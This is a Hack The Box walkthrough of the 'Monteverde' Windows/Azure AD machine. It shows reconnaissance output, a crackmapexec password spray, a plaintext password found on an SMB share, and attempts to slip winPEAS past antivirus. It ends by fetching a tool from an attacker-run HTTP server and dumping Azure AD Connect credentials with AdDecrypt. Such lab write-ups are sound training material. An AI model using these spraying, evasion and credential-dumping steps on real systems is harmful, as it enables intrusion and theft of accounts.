Hack the box - Monteverde
This machine is very unique as it involves working with Azure AD services and is one of a kind on HTB. This machine is vulnerable to a directory synchronization attack between the on-premise and cloud environments. This is the path to root which comes after achieving user through a basic unsecured file server where credentials can be found in a XML config file.
Host to IP mapping with Etc/hosts
Dumping and cracking AD Azure credentials
Dig - Enumerate DNS
Rpc Dump - Enumeration Rpc
SMB client - Connect to smb shares
Impacket ldap search - Enumerate Ldap services
Auto recon - A tool to help automate recon
Crackmap - Bruteforce credential lists
SMBMap - Enumerates SMB shares
Evil WinRm - A SOAP protocol that allows linux RDP connections to windows machines
AD Decrypt - Dumps AD credentials
Power Azure - Azure Priv Esc enumeration
ADcrypt.dll - Library for AD password dumping
Python HTTP server - For serving files quickly
WinPeas - Privilege's escalation checker
Our initial scan shows a large amount of ports open which greatly increases the possible attack surface and the enumeration that will have to be performed. In order to be as accurate as possible we will scan wide before deep.
PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl
After a simple scan we switch to a default scripts and service version scan.
sC - Default nmap scripts
sV - Service version enumeration
─$ nmap 10.129.208.251 -Pn -sC -sV Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 13:57 EDT Nmap scan report for 10.129.208.251 Host is up (0.099s latency). Not shown: 989 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-05 17:57:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration: Hosts & HTTP
The first thing I do is add the MEGABANK.LOCAL domain which we found in the above enumeration to our etc/hosts file so we can attempt to bypass DNS and resolve straight to the domain for the purposes of resolving that HTTP service on port 593. However this did not resolve so I moved on, looking at the other services before diving too deep on anything.
Image - Attempt to resolve megabank.local over port 593
Enumeration: DNS Port 53
A basic start to port 53 with dig on a zone transfer attempt yielded no results.
└─$ dig axfr @10.129.208.251 ; <<>> DiG 9.16.15-Debian <<>> axfr @10.129.208.251 ; (1 server found) ;; global options: +cmd ;; Query time: 2861 msec ;; SERVER: 10.129.208.251#53(10.129.208.251) ;; WHEN: Sun Sep 05 14:27:41 EDT 2021 ;; MSG SIZE rcvd: 28
Lets try a dig query against the DNS server for general information. In which we gather some information relating to the FQDN. Adding this to our etc/hosts file was my knee jerk reaction and an attempt to resolve again over port 593, HTTP did not resolve to anything. I then proceeded to dive in more with DIG and updated the host mapping to reflect monteverde.megabank.local as per the below initial dig results. I then used dig to gather other elements of the DNS service below.
└─$ dig any @10.129.208.251 MEGABANK.LOCAL ; <<>> DiG 9.16.15-Debian <<>> any @10.129.208.251 MEGABANK.LOCAL ; (1 server found) ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33003 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;MEGABANK.LOCAL. IN ANY ;; ANSWER SECTION: MEGABANK.LOCAL. 600 IN A 10.129.208.251 MEGABANK.LOCAL. 3600 IN NS monteverde.MEGABANK.LOCAL. MEGABANK.LOCAL. 3600 IN SOA monteverde.MEGABANK.LOCAL. hostmaster.MEGABANK.LOCAL. 59 900 600 86400 3600 ;; ADDITIONAL SECTION: monteverde.MEGABANK.LOCAL. 1200 IN A 10.129.208.251 ;; Query time: 196 msec ;; SERVER: 10.129.208.251#53(10.129.208.251) ;; WHEN: Sun Sep 05 14:29:12 EDT 2021 ;; MSG SIZE rcvd: 147
Dig any - General information query
Dig A - Make a standard DNS request
Dig AAAA - Make a reverse request
Dig TXT - Check the local dns txt file
Dig MX - Check the email server
Dig NX - Check the name server
These provided no additional results so I moved onto nmap and attempted the nmap DNS script and received no new information. From here I pivoted and attempted some subdomain enumeration with DNSRecon. This however was not able to resolve the domain name which was quite unusual. I tried a few variations of the host names without any luck and moved on.
└─$ dnsrecon -D /usr/share/spiderfoot/dicts/subdomains-10000.txt -d monteverde.megabank.local -n 10.129.208.251 1 ⨯ [*] Performing General Enumeration of Domain: monteverde.megabank.local [-] Could not resolve domain: monteverde.megabank.local
Enumeration: Port 88 - Kerberos
There is a known vulnerability but it requires authentication so we will move on. Not much else to do on this port if anything at all.
Enumeration: Port 135
Running rpcdump provided allot of output but nothing helpful so I made the decision to move on.
/impacket-rpcdump 10.129.208.251 -port 135
Enumeration: Port 139/445
Using smbclient within linux to check for shares on the target informed us that the SMB service was disabled all together so we move on from this port.
Enumeration: Port 389
From here I used the basic ldap search command and generated some information from our target and beyond some basic information there was nothing additional.
─$ ldapsearch -h 10.129.208.251 -x -s base 127 ⨯ # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: ALL # # dn: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7 rootDomainNamingContext: DC=MEGABANK,DC=LOCAL ldapServiceName: MEGABANK.LOCAL:monteverde$@MEGABANK.LOCAL isGlobalCatalogReady: TRUE supportedSASLMechanisms: GSSAPI supportedSASLMechanisms: GSS-SPNEGO supportedSASLMechanisms: EXTERNAL supportedSASLMechanisms: DIGEST-MD5 supportedLDAPVersion: 3 supportedLDAPVersion: 2 supportedLDAPPolicies: MaxPoolThreads supportedLDAPPolicies: MaxPercentDirSyncRequests supportedLDAPPolicies: MaxDatagramRecv supportedLDAPPolicies: MaxReceiveBuffer supportedLDAPPolicies: InitRecvTimeout supportedLDAPPolicies: MaxConnections supportedLDAPPolicies: MaxConnIdleTime supportedLDAPPolicies: MaxPageSize supportedLDAPPolicies: MaxBatchReturnMessages supportedLDAPPolicies: MaxQueryDuration supportedLDAPPolicies: MaxDirSyncDuration supportedLDAPPolicies: MaxTempTableSize supportedLDAPPolicies: MaxResultSetSize supportedLDAPPolicies: MinResultSets supportedLDAPPolicies: MaxResultSetsPerConn supportedLDAPPolicies: MaxNotificationPerConn supportedLDAPPolicies: MaxValRange supportedLDAPPolicies: MaxValRangeTransitive supportedLDAPPolicies: ThreadMemoryLimit supportedLDAPPolicies: SystemMemoryLimitPercent supportedControl: 1.2.840.113518.104.22.1689 supportedControl: 1.2.840.113522.214.171.1241 supportedControl: 1.2.840.1135126.96.36.1993 supportedControl: 1.2.840.1135188.8.131.528 supportedControl: 1.2.840.1135184.108.40.2067 supportedControl: 1.2.840.1135220.127.116.119 supportedControl: 1.2.840.113518.104.22.1681 supportedControl: 1.2.840.113522.214.171.1249 supportedControl: 1.2.840.1135126.96.36.1995 supportedControl: 1.2.840.1135188.8.131.521 supportedControl: 1.2.840.1135184.108.40.2060 supportedControl: 1.2.840.1135220.127.116.118 supportedControl: 1.2.840.113518.104.22.1684 supportedControl: 1.2.840.113522.214.171.1249 supportedControl: 1.2.840.1135126.96.36.1990 supportedControl: 1.2.840.1135188.8.131.523 supportedControl: 2.16.840.1.1137184.108.40.206 supportedControl: 2.16.840.1.1137220.127.116.11 supportedControl: 1.2.840.113518.104.22.1684 supportedControl: 1.2.840.113522.214.171.1242 supportedControl: 1.2.840.1135126.96.36.1992 supportedControl: 1.2.840.1135188.8.131.527 supportedControl: 1.2.840.1135184.108.40.2068 supportedControl: 1.2.840.1135220.127.116.114 supportedControl: 1.2.840.113518.104.22.1681 supportedControl: 1.2.840.113522.214.171.1246 supportedControl: 1.2.840.1135126.96.36.1994 supportedControl: 1.2.840.1135188.8.131.525 supportedControl: 1.2.840.1135184.108.40.2066 supportedControl: 1.2.840.1135220.127.116.110 supportedControl: 1.2.840.113518.104.22.1685 supportedControl: 1.2.840.113522.214.171.1244 supportedControl: 1.2.840.1135126.96.36.1996 supportedControl: 1.2.840.1135188.8.131.521 supportedControl: 1.2.840.1135184.108.40.2069 supportedControl: 1.2.840.1135220.127.116.115 supportedControl: 1.2.840.113518.104.22.1686 supportedControl: 1.2.840.113522.214.171.1249 supportedControl: 1.2.840.1135126.96.36.1990 supportedControl: 1.2.840.1135188.8.131.524 supportedCapabilities: 1.2.840.1135184.108.40.2060 supportedCapabilities: 1.2.840.1135220.127.116.110 supportedCapabilities: 1.2.840.113518.104.22.1681 supportedCapabilities: 1.2.840.113522.214.171.1245 supportedCapabilities: 1.2.840.1135126.96.36.1990 supportedCapabilities: 1.2.840.1135188.8.131.527 subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCA L serverName: CN=MONTEVERDE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Co nfiguration,DC=MEGABANK,DC=LOCAL schemaNamingContext: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL namingContexts: DC=MEGABANK,DC=LOCAL namingContexts: CN=Configuration,DC=MEGABANK,DC=LOCAL namingContexts: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL namingContexts: DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL namingContexts: DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL isSynchronized: TRUE highestCommittedUSN: 82089 dsServiceName: CN=NTDS Settings,CN=MONTEVERDE,CN=Servers,CN=Default-First-Site -Name,CN=Sites,CN=Configuration,DC=MEGABANK,DC=LOCAL dnsHostName: MONTEVERDE.MEGABANK.LOCAL defaultNamingContext: DC=MEGABANK,DC=LOCAL currentTime: 20210905190901.0Z configurationNamingContext: CN=Configuration,DC=MEGABANK,DC=LOCAL
# search result
result: 0 Success
# numResponses: 2
# numEntries: 1
We can see that Autorecon picked up on information relating to user names which I totally missed.
Having turned up very little in the way of clear paths from my enumeration processes. I resort to Autorecon, which if you do not know, is a toolkit to help automate the process of reconnaissance. I tend to run autorecon in the background at the start of an engagement due to the lengthy time required to finish. =============================== | Users on 10.129.208.251 | =============================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881. index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null) index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null) index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null) index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null) index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null) index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null) index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null) index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null) Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927. user:[Guest] rid:[0x1f5] user:[AAD_987d7f2f57d2] rid:[0x450] user:[mhope] rid:[0x641] user:[SABatchJobs] rid:[0xa2a] user:[svc-ata] rid:[0xa2b] user:[svc-bexec] rid:[0xa2c] user:[svc-netapp] rid:[0xa2d] user:[dgalanos] rid:[0xa35] user:[roleary] rid:[0xa36] user:[smorgan] rid:[0xa37] Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927. User Name : smorgan Full Name : Sally Morgan Home Drive : \\monteverde\users$\smorgan Dir Drive : H: Profile Path: Logon Script: Description : Workstations: Comment : Remote Dial : Logon Time : Wed, 31 Dec 1969 19:00:00 EST Logoff Time : Wed, 31 Dec 1969 19:00:00 EST Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT Password last set Time : Fri, 03 Jan 2020 08:09:22 EST Password can change Time : Sat, 04 Jan 2020 08:09:22 EST Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT unknown_2[0..31]... user_rid : 0xa37 group_rid: 0x201 acb_info : 0x00000210 fields_present: 0x00ffffff logon_divs: 168 bad_password_count: 0x00000000 logon_count: 0x00000000 padding1[0..7]... logon_hrs[0..21]... Account Disabled : False Password does not expire : True Account locked out : False Password expired : False Interdomain trust account: False Workstation trust account: False Server trust account : False Trusted for delegation : False
Enumeration: Bruteforce logon
Having few clear paths from here I resort to bruteforcing attempts sadly.
For this I will use crackmapexe and the user names provided by auto recon as the list of users and password.
Image - Crackmapexec the swiss army knife for networks
Here I create a new file and paste the contents of the users and password.
image - users list and password list
Running crackmap against the smb protocol with the provided user names for users and password provided a successful login.
crackmapexec smb 10.129.208.251 -u users.txt -p psw.txt
Image - Crackmap testing users and users as credentials over SMB
Trying to connect with evil-winrm first does not work after cloning and attempting the ruby version. so I then switched to gem install and attempted to connect with a timeout. So these must just work with SMB. I always go straight for the kill when I get working windows credentials on a machine with rdp ports.
Image - Evil-winrim failing with SABatchJobs credentials
From here I tried SMBMAP and used the provided credentials for read access to the shares.
Image - SMBMAP
From here we we connect as SABatchJobs and notice many shares to enumerate.
└─$ smbclient -L //10.129.208.251/ -U SABatchJobs 1 ⨯ Enter WORKGROUP\SABatchJobs's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin azure_uploads Disk C$ Disk Default share E$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share users$ Disk SMB1 disabled -- no workgroup available
The Azure uploads share allows for a connection but there is nothing.
└─$ smbclient //10.129.208.251/azure_uploads -U SABatchJobs Enter WORKGROUP\SABatchJobs's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 3 07:43:06 2020 .. D 0 Fri Jan 3 07:43:06 2020 309503 blocks of size 4096. 304926 blocks available smb: \> ls -la NT_STATUS_NO_SUCH_FILE listing \-la smb: \> ls . D 0 Fri Jan 3 07:43:06 2020 .. D 0 Fri Jan 3 07:43:06 2020
The SYSVOL share allows for a connection and there were so many files I downloaded them to view locally with the following SMB commands.
smb: > RECURSE ON smb: > PROMPT OFF smb: > mget *
After viewing it offline I started to Grep for passwords as there were so many files.
└─$ smbclient //10.129.208.251/SYSVOL -U SABatchJobs 130 ⨯ Enter WORKGROUP\SABatchJobs's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jan 2 17:05:14 2020 .. D 0 Thu Jan 2 17:05:14 2020 MEGABANK.LOCAL Dr 0 Thu Jan 2 17:05:14 2020 5795583 blocks of size 4096. 1485722 blocks available smb: \> cd MEGABANK.local smb: \MEGABANK.local\> ls . D 0 Thu Jan 2 17:11:34 2020 .. D 0 Thu Jan 2 17:11:34 2020 DfsrPrivate DHSr 0 Thu Jan 2 17:11:34 2020 Policies D 0 Thu Jan 2 17:05:22 2020 scripts D 0 Thu Jan 2 17:05:14 2020
I took a step back and decided to quickly check the users folder where I found credentials under user mhope.
└─$ smbclient //10.129.208.251/users$ -U SABatchJobs 130 ⨯ Enter WORKGROUP\SABatchJobs's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 3 08:12:48 2020 .. D 0 Fri Jan 3 08:12:48 2020 dgalanos D 0 Fri Jan 3 08:12:30 2020 mhope D 0 Fri Jan 3 08:41:18 2020 roleary D 0 Fri Jan 3 08:10:30 2020 smorgan D 0 Fri Jan 3 08:10:24 2020 309503 blocks of size 4096. 304926 blocks available smb: \> cd smorgan smb: \smorgan\> ls . D 0 Fri Jan 3 08:10:24 2020 .. D 0 Fri Jan 3 08:10:24 2020 309503 blocks of size 4096. 304926 blocks available smb: \smorgan\> cd .. smb: \> cd roleary smb: \roleary\> ls . D 0 Fri Jan 3 08:10:30 2020 .. D 0 Fri Jan 3 08:10:30 2020 309503 blocks of size 4096. 304926 blocks available smb: \roleary\> cd .. smb: \> cd mhope smb: \mhope\> ls . D 0 Fri Jan 3 08:41:18 2020 .. D 0 Fri Jan 3 08:41:18 2020 azure.xml AR 1212 Fri Jan 3 08:40:23 2020 309503 blocks of size 4096. 304926 blocks available smb: \mhope\> get azure.xml getting file \mhope\azure.xml of size 1212 as azure.xml (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec) smb: \mhope\>
Sure enough there are credentials in the azure.xml .....
─$ cat azure.xml ��<Objs Version="184.108.40.206" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T> <T>System.Object</T> </TN> <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString> <Props> <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT> <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT> <G N="KeyId">00000000-0000-0000-0000-000000000000</G> <S N="Password">4n0therD4y@n0th3r$</S> </Props> </Obj> </Objs>
Authenticate & Logon
With a set of credentials in hand for a known user we go straight for the login with evil-rm.
Image - Access as mhope
We start by transferring winPEAS to the target machine. First we spin up a python http server over port 8000 in the winpeas directory. Then from the mhope shell, on the compromised machine we utilize, wget http://server ip:8000/winPEASx86.exe.
Image - File request from user mhope
Image - Inbound GET request logged on server
However upon confirming the file in our working directory there was nothing present. From here I assumed an anti virus product was removing it.
Image - Directory check after the successful file transfer
We have a few options and paths when attempting to by pass a local antivirus and gain code execution.
Initially I thought of 4 paths.
White listed directories
Changing filename and extensions
Obfuscating code pre-upload
Trying a .bat instead of a .exe
I found nothing that resembled a line of business application which would have a likely hood of being whitelisted, especially if the environment does not have a security department, but rather administrators and a basic AV platform.
Changing filename and extension:
Firstly I renamed and uploaded the files as ooobles. Then I renamed it to winpeas, then winpeas.exe. Still nothing worked even upon name changing after the upload. This can be helpful if an AV is configured to scan for newly added files only. A simple misconfiguration on the system practitioners part.
Image - Dir check
sln extension with msbuild.exe
From here we tried to transfer a visual studio project and compile with msbuild.exe, however msbuild was not present.
Image - msbuild.exe
I attempted to import a PowerZure escalation script and managed to bypass AV partially but I could not fully run the program with the execution policy bypass.
Image - PowerZure
Base 64 encoded
This still did not allow for execution, for unknown reasons.
Image - Base64 encoding on winpeas
On a new path
So we have a very unique privilege here and that is the Azure Admin group. I performed a fair amount of research and reviewed several discussions and forums and eventually learned about an Azure AD exploit for scenario such as this particular privillege.
Image - Reviewing group privilleges.
I eventually found this guide which was really interesting.
We have several steps to follow here in order to exploit the Dir Synch connector for synchronized credentials as per the exploit outlined in the above reference.
Downlaod AdDecrypt.exe and upload it to the machine
Download mcrypt.dll and uplaod to the machines
Navigate to the Azure AD Sync Bin
Launch AdDecrypt.exe -Full
Image - Using the Azure AD Connector exploit
Image - Gaining access as root